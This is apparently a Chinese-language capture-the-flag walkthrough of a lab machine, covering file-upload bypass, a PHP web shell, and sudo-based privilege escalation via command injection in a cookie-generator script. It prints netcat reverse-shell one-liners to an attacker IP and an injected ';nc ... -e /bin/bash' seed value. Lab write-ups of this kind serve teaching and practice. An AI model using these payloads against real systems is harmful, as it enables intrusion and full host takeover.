1. 信息收集
扫描IP 发现 192.168.163.131
扫描端口,开发80、22端口
扫描目录
查看站点,/manual
发现文件上传
相关js代码,向ajax.php
发送数据,返回1代表成功
目录扫描发现 ajax.php.bak
文件
根据代码,需要添加cookie,且最后一位追加大写字母,设置参数 secure
值为 val1d
,则可以上传php文件
1
admin=&G6u@B6uDXMq&Ms
bp测试,发现为字符 R
成功上传 shell.php
文件,7kbscan扫描目录发现 /owls/
确定脚本位置: http://192.168.163.131/owls/shell.php ,使用蚁剑连接
2. 反弹shell
1
nc -nv 192.168.163.132 -e /bin/bash
查看 /etc/passwd
发现用户athena
查看home目录,发现多个文本文件,一个脚本文件
获取第一个flag
3. 提权
获取密码:myvulnerableapp[Asterisk]
Asterisk为星号
发现提示,要执行 cookie-gen.py
脚本
查看脚本内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
import os
import subprocess
print('~ Random Cookie Generation ~')
print('[!] for security reasons we keep logs about cookie seeds.')
chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'
seed = input("Enter the seed : ")
random.seed = seed
cookie = ''
for c in range(20):
cookie += random.choice(chars)
print(cookie)
cmd = "echo %s >> log.txt" % seed
subprocess.Popen(cmd, shell=True)
最后一行命令会启动一个shell进程来解析cmd字符串,cmd字符串中包含了用户输入的内容
使用密码:myvulnerableapp*
,登录 athena
成功,发现可用/usr/bin/python3 /home/team-tasks/cookie-gen.py
提权
1
2
3
sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py
# 输入反弹shell代码
;nc -nv 192.168.163.132 5555 -e /bin/bash
反弹成功
提权成功